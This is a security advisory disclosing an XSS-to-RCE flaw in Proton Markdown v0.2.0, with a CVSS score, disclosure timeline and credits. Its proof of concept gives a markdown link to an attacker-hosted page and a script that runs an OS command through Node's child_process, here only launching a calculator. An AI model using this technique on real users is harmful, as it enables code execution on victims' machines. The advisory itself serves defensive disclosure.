Proton v0.2.0 - XSS To RCE
Summary
Name | Proton v0.2.0 - XSS To RCE |
Code name | |
Product | Proton Markdown |
Affected versions | Version 0.2.0 |
State | Public |
Release date | 2022-05-17 |
Vulnerability
Kind | XSS to RCE |
Rule | |
Remote | No |
CVSSv3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N |
CVSSv3.1 Base Score | 7.1 |
Exploit available | No |
CVE ID(s) |
Description
Proton v0.2.0 allows an attacker to create a malicious link inside a markdown file. When the victim clicks the link, the application opens the site in the current frame allowing an attacker to host JavaScript code in the malicious link in order to trigger an XSS attack. The nodeIntegration
configuration is set to on which allows the webpage to use NodeJs
features, an attacker can leverage this to run OS commands.
Proof of Concept
Steps to reproduce
-
Create a markdown file with the following content.
[Click me!!!](http://192.168.1.67:8002/rce.html)
-
Host the
rce.html
file with the following content on a server controlled by the attacker.<script> require('child_process').exec('calc'); </script>
-
Send the markdown file to the victim. When the victim clicks the markdown link the site will be open inside electron and the JavaScript code will spawn a calculator.
System Information
- Version: Proton v0.2.0.
- Operating System: Windows 10.0.19042 N/A Build 19042.
- Installer: Proton.Setup.0.2.0.exe
Exploit
There is no exploit for the vulnerability but can be manually exploited.
Mitigation
By 2022-05-17 there is not a patch resolving the issue.
Credits
The vulnerability was discovered by Oscar Uribe from the Offensive Team of Fluid Attacks.
References
Vendor page https://github.com/steventhanna/proton/
Timeline
2022-04-29
Vulnerability discovered.
2022-04-29
Vendor contacted.
2022-05-17
Public Disclosure.